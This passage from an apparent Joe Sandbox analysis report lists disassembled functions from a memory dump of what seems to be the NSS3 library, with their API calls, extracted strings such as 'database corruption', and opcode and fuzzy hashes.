Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 479989c98df5eba328ca8e48022217ae0baed0014d87eee97a81ce2c2e046fd1
Instruction ID: 69c0e3c9b3a5e7e69137933b46f5d5489d1227a1b5dfa40edc6b6d070163c7c0
Opcode Fuzzy Hash: 479989c98df5eba328ca8e48022217ae0baed0014d87eee97a81ce2c2e046fd1
Instruction Fuzzy Hash: 835103B1A402319BEB018F64DD44BAA33A5AF4235CF1570A5ED0C9BB51EB30E804CB9F

Function 6C57BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C57BE02

Part of subcall function 6C6A9C40: memcmp.VCRUNTIME140(?,00000000,6C57C52B), ref: 6C6A9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C57BE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C57BE89
%s at line %d of [%.10s], xrefs: 6C57BE98
database corruption, xrefs: 6C57BE93

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 92f7fbbabc32c8de0792821f78255b297ebff096e354bd1a9ee829c093194883
Instruction ID: 49d4112a41b63a9a1bc5cb857dc101acead90361a4ea10d84c4189e5f6f25ebc
Opcode Fuzzy Hash: 92f7fbbabc32c8de0792821f78255b297ebff096e354bd1a9ee829c093194883
Instruction Fuzzy Hash: F7314831B446599BC710EF69CCD4EABBBB1AF41318B188954EE581BB41D371ED84C7E0

Function 6C666DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C666E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C666E57

Part of subcall function 6C69C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C69C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C666E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C666EAA

Strings

npl, xrefs: 6C666DF9

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: npl
API String ID: 3163584228-3390371981
Opcode ID: fe8d9389a40dc3cbd6564f5c9f507769aedc7a3dd3e0342c8b2a7e6c9e282a44
Instruction ID: 77ce1baa1ff5eac24febabd162b433394f2b2dd336aaf4d35522f0c276893b3c
Opcode Fuzzy Hash: fe8d9389a40dc3cbd6564f5c9f507769aedc7a3dd3e0342c8b2a7e6c9e282a44
Instruction Fuzzy Hash: 2431C171618612EEDB141F36ED04396B7A4AB0231EF14063DD4AAD6E80EB31E455CB8B

Function 6C69A8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C682AE9,00000000,0000065C), ref: 6C69A91D

Part of subcall function 6C63ADC0: TlsGetValue.KERNEL32(?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE10
Part of subcall function 6C63ADC0: EnterCriticalSection.KERNEL32(?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE24
Part of subcall function 6C63ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C61D079,00000000,00000001), ref: 6C63AE5A
Part of subcall function 6C63ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE6F
Part of subcall function 6C63ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE7F
Part of subcall function 6C63ADC0: TlsGetValue.KERNEL32(?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AEB1
Part of subcall function 6C63ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6C682AE9,00000000,0000065C), ref: 6C69A934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6C682AE9,00000000,0000065C), ref: 6C69A949
free.MOZGLUE(?,00000000,0000065C), ref: 6C69A952

Strings

*hl, xrefs: 6C69A8F6

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *hl
API String ID: 1595327144-4154789532
Opcode ID: e090dbff309fb0700dfd1263b3e73f6373475e9d28a60d98743ddb65289e4bad
Instruction ID: b8435bbd6165587278c1a2ea5cf41b5eb0cccbb6d9db7e8a174a5a65df0c9400
Opcode Fuzzy Hash: e090dbff309fb0700dfd1263b3e73f6373475e9d28a60d98743ddb65289e4bad
Instruction Fuzzy Hash: B53139B4A012129FDB04CF18D980E62B7F8FF49318B1681A9EC0D8F756E730E805CBA5

Function 6C5F1EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C5F4C64,?,-00000004), ref: 6C5F1EE2

Part of subcall function 6C651820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C5F1D97,?,?), ref: 6C651836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F4C64,?,-00000004), ref: 6C5F1F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F4C64,?,-00000004), ref: 6C5F1F37
DER_DecodeTimeChoice_Util.NSS3(?,dL_l,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F4C64,?,-00000004), ref: 6C5F1F53

Strings

dL_l, xrefs: 6C5F1F2B, 6C5F1F51

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dL_l
API String ID: 3216063065-2510792452
Opcode ID: df1ca1f5d779111dc90125a1684f396ecbc558ca97de124ed9f602feaad48bdb
Instruction ID: 166643aec3a2cf5ef40d5efb0cb2037caad03dabbe60ad1569b4999a1224d8c8
Opcode Fuzzy Hash: df1ca1f5d779111dc90125a1684f396ecbc558ca97de124ed9f602feaad48bdb
Instruction Fuzzy Hash: 7921C6B1904306AFD714CF29DD00A9BB7E9AF85699F500929ED64C3A40F331E519CBE6

Function 6C6CA800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6C597915,?,?), ref: 6C6CA86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6C597915,?,?), ref: 6C6CA8A6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6CA891
%s at line %d of [%.10s], xrefs: 6C6CA8A0
database corruption, xrefs: 6C6CA89B

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 9635c86d45fb7e0222c7fbd29aa18a27c26e4dd3fa01f40e190909770bf93b54
Instruction ID: b3dff4b391083972d51ea0df7b4e1456c2cea97c52ee1432b1231b33899d29c4
Opcode Fuzzy Hash: 9635c86d45fb7e0222c7fbd29aa18a27c26e4dd3fa01f40e190909770bf93b54
Instruction Fuzzy Hash: 73113371B00214ABDB048F21DC90AAAB7A5FF88314F008039FC094BB81EB34A916CB96

Function 6C5E0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C5E0BDE), ref: 6C5E0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C5E0BDE), ref: 6C5E0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C5E0BDE), ref: 6C5E0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C5E0BDE), ref: 6C5E0E32

Strings

%s incr => %d (find lib), xrefs: 6C5E0E2D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 938e109fde1d218fd7ecb94df4e9378782b4562cd336ea5297be0eaa90772814
Instruction ID: d54370de463e5dab6f3bd79d0e59c41f21c45ddc0c63131012a32184da037419
Opcode Fuzzy Hash: 938e109fde1d218fd7ecb94df4e9378782b4562cd336ea5297be0eaa90772814
Instruction Fuzzy Hash: B80128727003149FE6109F248C49E1773ECDB89609B05483ED949D7641EB61EC1487E1

Function 6C621CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C621CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C621CF1

Part of subcall function 6C7009D0: PR_Now.NSS3 ref: 6C700A22
Part of subcall function 6C7009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C700A35
Part of subcall function 6C7009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C700A66
Part of subcall function 6C7009D0: PR_GetCurrentThread.NSS3 ref: 6C700A70
Part of subcall function 6C7009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C700A9D
Part of subcall function 6C7009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C700AC8
Part of subcall function 6C7009D0: PR_vsmprintf.NSS3(?,?), ref: 6C700AE8
Part of subcall function 6C7009D0: EnterCriticalSection.KERNEL32(?), ref: 6C700B19
Part of subcall function 6C7009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C700B48
Part of subcall function 6C7009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C700C76
Part of subcall function 6C7009D0: PR_LogFlush.NSS3 ref: 6C700C7E

Strings

npl, xrefs: 6C621D09, 6C621D30
C_Initialize, xrefs: 6C621CD3
pInitArgs = 0x%p, xrefs: 6C621CEC

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$npl
API String ID: 1907330108-135377436
Opcode ID: a7825791d6142685dcdacec66c73e551a64a07a09b59b6abfe2d80a850d690a5
Instruction ID: 5b97a72cfa403957148bb70ff8b4ea4961dd334866a1e4acfd871275ea1906e9
Opcode Fuzzy Hash: a7825791d6142685dcdacec66c73e551a64a07a09b59b6abfe2d80a850d690a5
Instruction Fuzzy Hash: D2019E75701180DFDB009F64D94DB5637B5EBC236AF884436E80992611DF39DC49CB92

Function 6C69AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]hl,00000000,?,?,6C676AC6,?), ref: 6C69AC2D

Part of subcall function 6C63ADC0: TlsGetValue.KERNEL32(?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE10
Part of subcall function 6C63ADC0: EnterCriticalSection.KERNEL32(?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE24
Part of subcall function 6C63ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C61D079,00000000,00000001), ref: 6C63AE5A
Part of subcall function 6C63ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE6F
Part of subcall function 6C63ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE7F
Part of subcall function 6C63ADC0: TlsGetValue.KERNEL32(?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AEB1
Part of subcall function 6C63ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AEC9

PK11_FreeSymKey.NSS3(?,@]hl,00000000,?,?,6C676AC6,?), ref: 6C69AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]hl,00000000,?,?,6C676AC6,?), ref: 6C69AC59
free.MOZGLUE(8CB6FF01,6C676AC6,?,?,?,?,?,?,?,?,?,?,6C685D40,00000000,?,6C68AAD4), ref: 6C69AC62

Strings

@]hl, xrefs: 6C69AC05

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]hl
API String ID: 1595327144-924120606
Opcode ID: 10eb31febb2cb6b61b2d73fb6b77851fc816078178e62696b64fe38a07a6500d
Instruction ID: c29149a5b21c305a014d87ed53d78ca993d1385f86ddf8f83501c08e6f8ab426
Opcode Fuzzy Hash: 10eb31febb2cb6b61b2d73fb6b77851fc816078178e62696b64fe38a07a6500d
Instruction Fuzzy Hash: E20178B5A00201DBDB00DF14E8C0B5677E8AB05B19F1880A8E9498F706D730E848CBAA

Function 6C589C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C589CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C589D45
EnterCriticalSection.KERNEL32(?), ref: 6C589D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C589DDE

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 76dbc264e3fe75a8e2deb25bf959712e216f2f2078f48e395e3a535efdf592bd
Instruction ID: fc70af7bb356abb53bc566760e8b272d03e30e28e0517195e386101c20d9faac
Opcode Fuzzy Hash: 76dbc264e3fe75a8e2deb25bf959712e216f2f2078f48e395e3a535efdf592bd
Instruction Fuzzy Hash: 0BA1E0717061148BEB09EF24DC88B7E7771BB8331AF68417ED41A4BA50DF3A9845CB92

Function 6C611E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C611ECC

Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90AB
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B90C9
Part of subcall function 6C6B9090: EnterCriticalSection.KERNEL32 ref: 6C6B90E5
Part of subcall function 6C6B9090: TlsGetValue.KERNEL32 ref: 6C6B9116
Part of subcall function 6C6B9090: LeaveCriticalSection.KERNEL32 ref: 6C6B913F

TlsGetValue.KERNEL32 ref: 6C611EDF
EnterCriticalSection.KERNEL32(?), ref: 6C611EEF
PR_ExitMonitor.NSS3(?), ref: 6C611F37
PR_Unlock.NSS3(?), ref: 6C611F44

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 5dbe62f8976fa919d3d88f517b4832b62530c956cd6190e844ec0e33f9fcc9ca
Instruction ID: 900d6bdc0cdc17c3b913dbd65323e544fca17acd01866bfa64b62e0d93b62e83
Opcode Fuzzy Hash: 5dbe62f8976fa919d3d88f517b4832b62530c956cd6190e844ec0e33f9fcc9ca
Instruction Fuzzy Hash: 9471E171A083019FD700CF29D840A5BB7F1FF99359F144929E89993B21E731F958CB9A

Function 6C69DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C69DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C69DE77

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 5df9d8d333f2772fee121f58716dbddf398e832710eac247b9a2249153d23f56
Instruction ID: 321d47cc5e477f2563f6bb675f2793932561054bfe14516de61e57dcc0f31869
Opcode Fuzzy Hash: 5df9d8d333f2772fee121f58716dbddf398e832710eac247b9a2249153d23f56
Instruction Fuzzy Hash: 43717471A0031ACFDB10CF9AC58069AB7B4BF89718F25817EC9596B752DB30A906CF94

Function 6C61BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C61BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C61BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5F9F71,?,?,00000000), ref: 6C61BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C61BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C61C014

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 753d0a05badb2440cc5cc55c4d6eb43c96e5d836a09c2d4a53d4a9675fb2a266
Instruction ID: aae02afb88a10b65f276727256cae3acceb4e57abc33aeb56e1e3e664d02d251
Opcode Fuzzy Hash: 753d0a05badb2440cc5cc55c4d6eb43c96e5d836a09c2d4a53d4a9675fb2a266
Instruction Fuzzy Hash: 1941D5B1A052059FEB00CE6ACC40BAA73B9AF85349F104138E919D7F81FB31D905CB99

Function 6C5EEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5EEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C5EEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C5EEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5EEEEB
free.MOZGLUE(?), ref: 6C5EEEF6

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

